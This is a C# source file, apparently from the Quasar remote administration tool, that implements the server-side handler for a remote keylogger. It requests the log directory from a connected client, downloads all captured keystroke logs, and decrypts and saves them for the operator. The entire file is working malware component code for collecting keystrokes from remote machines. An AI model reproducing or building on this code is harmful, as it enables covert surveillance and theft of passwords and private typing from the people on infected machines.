using Quasar.Common.Helpers;
using Quasar.Common.Messages;
using Quasar.Common.Models;
using Quasar.Common.Networking;
using Quasar.Server.Models;
using Quasar.Server.Networking;
using System;
using System.IO;
namespace Quasar.Server.Messages
{
///
/// Handles messages for the interaction with the remote keylogger.
///
public class KeyloggerHandler : MessageProcessorBase, IDisposable
{
///
/// The client which is associated with this keylogger handler.
///
private readonly Client _client;
///
/// The file manager handler used to retrieve keylogger logs from the client.
///
private readonly FileManagerHandler _fileManagerHandler;
///
/// The remote path of the keylogger logs directory.
///
private string _remoteKeyloggerDirectory;
///
/// The amount of all running log transfers.
///
private int _allTransfers;
///
/// The amount of all completed log transfers.
///
private int _completedTransfers;
///
/// Initializes a new instance of the class using the given client.
///
/// The associated client.
public KeyloggerHandler(Client client) : base(true)
{
_client = client;
_fileManagerHandler = new FileManagerHandler(client, "Logs\\");
_fileManagerHandler.DirectoryChanged += DirectoryChanged;
_fileManagerHandler.FileTransferUpdated += FileTransferUpdated;
_fileManagerHandler.ProgressChanged += StatusUpdated;
MessageHandler.Register(_fileManagerHandler);
}
///
public override bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectoryResponse;
///
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
///
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetKeyloggerLogsDirectoryResponse logsDirectory:
Execute(sender, logsDirectory);
break;
}
}
///
/// Retrieves the keylogger logs and begins downloading them.
///
public void RetrieveLogs()
{
_client.Send(new GetKeyloggerLogsDirectory());
}
private void Execute(ISender client, GetKeyloggerLogsDirectoryResponse message)
{
_remoteKeyloggerDirectory = message.LogsDirectory;
client.Send(new GetDirectory {RemotePath = _remoteKeyloggerDirectory});
}
private string GetDownloadProgress(int allTransfers, int completedTransfers)
{
decimal progress = Math.Round((decimal)((double)completedTransfers / (double)allTransfers * 100.0), 2);
return $"Downloading...({progress}%)";
}
private void StatusUpdated(object sender, string value)
{
// called when directory does not exist or access is denied
OnReport($"No logs found ({value})");
}
private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[] items)
{
if (items.Length == 0)
{
OnReport("No logs found");
return;
}
_allTransfers = items.Length;
_completedTransfers = 0;
OnReport(GetDownloadProgress(_allTransfers, _completedTransfers));
foreach (var item in items)
{
// don't escape from download directory
if (FileHelper.HasIllegalCharacters(item.Name))
{
// disconnect malicious client
_client.Disconnect();
return;
}
_fileManagerHandler.BeginDownloadFile(Path.Combine(_remoteKeyloggerDirectory, item.Name), item.Name + ".html", true);
}
}
private void FileTransferUpdated(object sender, FileTransfer transfer)
{
if (transfer.Status == "Completed")
{
try
{
_completedTransfers++;
File.WriteAllText(transfer.LocalPath, FileHelper.ReadLogFile(transfer.LocalPath, _client.Value.AesInstance));
OnReport(_allTransfers == _completedTransfers
? "Successfully retrieved all logs"
: GetDownloadProgress(_allTransfers, _completedTransfers));
}
catch (Exception)
{
OnReport("Failed to decrypt and write logs");
}
}
}
///
/// Disposes all managed and unmanaged resources associated with this message processor.
///
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
MessageHandler.Unregister(_fileManagerHandler);
_fileManagerHandler.ProgressChanged -= StatusUpdated;
_fileManagerHandler.FileTransferUpdated -= FileTransferUpdated;
_fileManagerHandler.DirectoryChanged -= DirectoryChanged;
_fileManagerHandler.Dispose();
}
}
}
}